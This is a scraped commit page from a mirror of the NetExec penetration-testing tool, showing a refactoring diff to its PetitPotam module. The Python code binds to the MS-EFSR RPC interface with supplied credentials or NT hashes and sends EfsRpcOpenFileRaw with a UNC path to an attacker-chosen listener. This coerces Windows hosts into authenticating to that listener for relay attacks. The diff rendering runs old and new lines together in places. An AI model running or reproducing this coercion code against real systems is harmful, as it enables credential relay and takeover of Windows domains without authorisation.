swisskyrepo
/
NetExec
mirror of https://github.com/swisskyrepo/NetExec.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

fix(petitpotam): move unneeded class to functions, which also fixes an error when calling

main
Marshall Hallenbeck 2023-03-24 16:35:40 -04:00
parent 67d0d20dcc
commit e7a7476c64
1 changed files with 101 additions and 95 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

50
cme/modules/petitpotam.py
View File

@ -5,6 +5,8 @@
# Module by @mpgn_x64 # Module by @mpgn_x64
import logging import logging
import sys
from impacket import system_errors from impacket import system_errors
from impacket.dcerpc.v5 import transport from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
@ -34,9 +36,19 @@ class CMEModule:
self.pipe = module_options['PIPE'] self.pipe = module_options['PIPE']
def on_login(self, context, connection): def on_login(self, context, connection):
plop = CoerceAuth() dce = coerce(
dce = plop.connect(connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, target=connection.host, pipe=self.pipe, targetIp=connection.host, doKerberos=connection.kerberos, dcHost=connection.kdcHost) connection.username,
if plop.EfsRpcOpenFileRaw(dce, self.listener): password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=connection.host,
pipe=self.pipe,
do_kerberos=connection.kerberos,
dc_host=connection.kdcHost,
target_ip=connection.host
)
if efs_rpc_open_file_raw(dce, self.listener):
context.log.highlight("VULNERABLE") context.log.highlight("VULNERABLE")
context.log.highlight("Next step: https://github.com/topotam/PetitPotam") context.log.highlight("Next step: https://github.com/topotam/PetitPotam")
try: try:
@ -109,6 +121,7 @@ class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
('Display', LPWSTR), ('Display', LPWSTR),
) )
class ENCRYPTION_CERTIFICATE(NDRSTRUCT): class ENCRYPTION_CERTIFICATE(NDRSTRUCT):
structure = ( structure = (
('Lenght', DWORD), ('Lenght', DWORD),
@ -135,13 +148,6 @@ class ENCRYPTED_FILE_METADATA_SIGNATURE(NDRSTRUCT):
) )
class EFS_RPC_BLOB(NDRSTRUCT):
structure = (
('Data', DWORD),
('cbData', PCHAR),
)
class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT): class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT):
align = 1 align = 1
structure = ( structure = (
@ -179,8 +185,8 @@ class EfsRpcEncryptFileSrvResponse(NDRCALL):
('ErrorCode', ULONG), ('ErrorCode', ULONG),
) )
class CoerceAuth:
def connect(self, username, password, domain, lmhash, nthash, target, pipe, targetIp, doKerberos, dcHost): def coerce(username, password, domain, lmhash, nthash, target, pipe, do_kerberos, dc_host, target_ip=None):
binding_params = { binding_params = {
'lsarpc': { 'lsarpc': {
'stringBinding': r'ncacn_np:%s[\PIPE\lsarpc]' % target, 'stringBinding': r'ncacn_np:%s[\PIPE\lsarpc]' % target,
@ -203,19 +209,19 @@ class CoerceAuth:
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0') 'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
}, },
} }
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]['stringBinding']) rpc_transport = transport.DCERPCTransportFactory(binding_params[pipe]['stringBinding'])
if hasattr(rpctransport, 'set_credentials'): if hasattr(rpc_transport, 'set_credentials'):
rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash) rpc_transport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
if targetIp: if target_ip:
rpctransport.setRemoteHost(targetIp) rpc_transport.setRemoteHost(target_ip)
dce = rpctransport.get_dce_rpc() dce = rpc_transport.get_dce_rpc()
dce.set_auth_type(RPC_C_AUTHN_WINNT) dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
if doKerberos: if do_kerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost) rpc_transport.set_kerberos(do_kerberos, kdcHost=dc_host)
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
logging.debug("[-] Connecting to %s" % binding_params[pipe]['stringBinding']) logging.debug("[-] Connecting to %s" % binding_params[pipe]['stringBinding'])
@ -234,13 +240,13 @@ class CoerceAuth:
logging.debug("[+] Successfully bound!") logging.debug("[+] Successfully bound!")
return dce return dce
def EfsRpcOpenFileRaw(self, dce, listener):
def efs_rpc_open_file_raw(dce, listener):
logging.debug("[-] Sending EfsRpcOpenFileRaw!") logging.debug("[-] Sending EfsRpcOpenFileRaw!")
try: try:
request = EfsRpcOpenFileRaw() request = EfsRpcOpenFileRaw()
request['fileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener request['fileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
request['Flag'] = 0 request['Flag'] = 0
#request.dump()
resp = dce.request(request) resp = dce.request(request)
except Exception as e: except Exception as e: